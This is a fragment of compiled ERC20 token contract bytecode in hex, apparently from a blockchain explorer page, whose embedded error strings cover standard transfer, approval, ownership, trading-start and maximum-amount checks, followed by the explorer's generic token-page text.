229a565b92915050565b5f6020828403121561275657612755612266565b5b5f6127638482850161272d565b91505092915050565b5f60408201905061277f5f83018561243f565b61278c602083018461243f565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6127ca826122c4565b91506127d5836122c4565b9250826127e5576127e4612793565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f61281c612817612812846127f0565b6127f9565b6122c4565b9050919050565b61282c81612802565b82525050565b5f60c0820190506128455f83018961243f565b6128526020830188612368565b61285f6040830187612823565b61286c6060830186612823565b612879608083018561243f565b61288660a0830184612368565b979650505050505050565b5f8151905061289f816122cd565b92915050565b5f805f606084860312156128bc576128bb612266565b5b5f6128c986828701612891565b93505060206128da86828701612891565b92505060406128eb86828701612891565b9150509250925092565b5f6040820190506129085f83018561243f565b6129156020830184612368565b9392505050565b61292581612335565b811461292f575f80fd5b50565b5f815190506129408161291c565b92915050565b5f6020828403121561295b5761295a612266565b5b5f61296884828501612932565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6129cb6026836121e0565b91506129d682612971565b604082019050919050565b5f6020820190508181035f8301526129f8816129bf565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612a596024836121e0565b9150612a64826129ff565b604082019050919050565b5f6020820190508181035f830152612a8681612a4d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ae76022836121e0565b9150612af282612a8d565b604082019050919050565b5f6020820190508181035f830152612b1481612adb565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612b4f6020836121e0565b9150612b5a82612b1b565b602082019050919050565b5f6020820190508181035f830152612b7c81612b43565b9050919050565b7f6e6f7420737461727465642079657400000000000000000000000000000000005f82015250565b5f612bb7600f836121e0565b9150612bc282612b83565b602082019050919050565b5f6020820190508181035f830152612be481612bab565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c456025836121e0565b9150612c5082612beb565b604082019050919050565b5f6020820190508181035f830152612c7281612c39565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612cd36023836121e0565b9150612cde82612c79565b604082019050919050565b5f6020820190508181035f830152612d0081612cc7565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612d616029836121e0565b9150612d6c82612d07565b604082019050919050565b5f6020820190508181035f830152612d8e81612d55565b9050919050565b5f612d9f826122c4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612dd157612dd06124de565b5b600182019050919050565b5f612de6826122c4565b9150612df1836122c4565b9250828201905080821115612e0957612e086124de565b5b92915050565b7f4578636565647320746865205f6d6178416d6f756e7453697a652e00000000005f82015250565b5f612e43601b836121e0565b9150612e4e82612e0f565b602082019050919050565b5f6020820190508181035f830152612e7081612e37565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f612ed16028836121e0565b9150612edc82612e77565b604082019050919050565b5f6020820190508181035f830152612efe81612ec5565b9050919050565b5f612f0f826122c4565b9150612f1a836122c4565b9250828203905081811115612f3257612f316124de565b5b92915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612f926021836121e0565b9150612f9d82612f38565b604082019050919050565b5f6020820190508181035f830152612fbf81612f86565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61305281612289565b82525050565b5f6130638383613049565b60208301905092915050565b5f602082019050919050565b5f61308582613020565b61308f818561302a565b935061309a8361303a565b805f5b838110156130ca5781516130b18882613058565b97506130bc8361306f565b92505060018101905061309d565b5085935050505092915050565b5f60a0820190506130ea5f830188612368565b6130f76020830187612823565b8181036040830152613109818661307b565b9050613118606083018561243f565b6131256080830184612368565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613163601b836121e0565b915061316e8261312f565b602082019050919050565b5f6020820190508181035f83015261319081613157565b905091905056fea2646970667358221220dc4547acff8d705dd2faaefcae15f74815c98cf9e9d89519f3c887c5b064862364736f6c634300081a0033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.